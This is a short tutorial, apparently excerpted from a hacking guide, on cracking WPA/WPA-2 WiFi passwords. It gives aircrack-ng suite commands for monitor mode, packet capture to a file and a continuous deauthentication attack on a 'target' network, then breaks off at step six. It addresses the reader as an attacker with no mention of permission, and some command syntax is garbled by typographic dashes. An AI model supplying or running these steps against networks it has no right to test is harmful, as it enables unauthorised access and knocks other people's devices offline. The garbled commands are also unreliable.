How to Hack WiFi Networks that Use WPA/WPA-2
Encryption
WEP-encrypted passwords are easy to hack. WPA/WPA-2 passwords, however, are timeconsuming and resource-intensive. This is the reason why most WiFi networks use
WPA/WPA-2 encryption. Cracking this form of encryption is difficult, but certainly
doable. Here are the steps you need to take:
1. Launch a terminal and launch airmon-ng.
Type:
airmon-ng start wlan_ID
Replace “wlan_ID” with the name of your adapter.
2. Capture data packets using the airodump-ng program.
You can complete this task by typing
airodump-ng wlan0mon
3. Save the packets inside a cap file.
4. The command that must type is:
airodump-ng wlan0mon —write NameofFile
5. Take note of the BSSID of your target and initiate the program called “aireplayng”.
You’ll find the BSSID of a network in the airodump-ng screen. After getting that
information, type:
aireplay-ng —deauth 0 –a BSSID wlan0mon
Replace “BSSID” with the BSSID of your target.
6. Use the following syntax:
